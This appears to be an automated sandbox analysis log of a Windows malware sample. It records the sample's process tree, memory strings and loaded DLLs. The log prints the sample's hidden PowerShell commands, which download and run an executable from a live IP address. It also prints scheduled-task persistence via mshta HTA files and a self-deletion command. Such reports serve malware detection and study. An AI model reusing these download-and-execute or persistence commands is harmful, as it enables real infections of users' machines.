Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT ALL id FROM %s;
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: UD49QH6.exe, 00000010.00000003.1420564482.0000000005B87000.00000004.00000800.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1433395613.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1421639776.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1433531574.0000000005B83000.00000004.00000800.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000003.1493556007.000000000066D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: m0wsoI3.exe, m0wsoI3.exe, 00000011.00000002.1529917240.000000000F0EB000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1533283917.000000006096F000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: M6gQuZPvgY.exe	Virustotal: Detection: 60%
Source: M6gQuZPvgY.exe	ReversingLabs: Detection: 61%

Source: M6gQuZPvgY.exe	String found in binary or memory: " /add
Source: M6gQuZPvgY.exe	String found in binary or memory: " /add /y
Source: M6gQuZPvgY.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: rapes.exe	String found in binary or memory: " /add
Source: rapes.exe	String found in binary or memory: " /add /y
Source: rapes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: amnew.exe	String found in binary or memory: " /add /y
Source: amnew.exe	String found in binary or memory: " /add
Source: futors.exe	String found in binary or memory: " /add /y
Source: futors.exe	String found in binary or memory: " /add

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

File read: C:\Users\user\Desktop\M6gQuZPvgY.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\M6gQuZPvgY.exe "C:\Users\user\Desktop\M6gQuZPvgY.exe"
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe "C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Process created: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe "C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe "C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe"
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: unknown	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\10235700121\am_no.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE "C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE"
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Process created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "F80nHmaMuIn" /tr "mshta \"C:\Temp\J9hHfTRUK.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta "C:\Temp\J9hHfTRUK.hta"
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe "C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe"
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe"
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 888
Source: unknown	Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE "C:\Temp\J9hHfTRUK.hta"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe"
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\Conhost.exe
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process created: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe "C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe "C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\10235700121\am_no.cmd" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe "C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Process created: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe "C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe" & exit
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE "C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 2
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "F80nHmaMuIn" /tr "mshta \"C:\Temp\J9hHfTRUK.hta\"" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta "C:\Temp\J9hHfTRUK.hta"
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Process created: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe "C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 9 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 5 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -command "-join ((48..57) + (65..90) + (97..122) \| Get-Random -Count 4 \| ForEach-Object {[char]$_})"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	Process created: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe "C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe"
Source: C:\Windows\System32\mshta.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn pmi96maNnhC /tr "mshta C:\Users\user\AppData\Local\Temp\8kUU4r0rO.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Section loaded: wintypes.dll	Jump to behavior
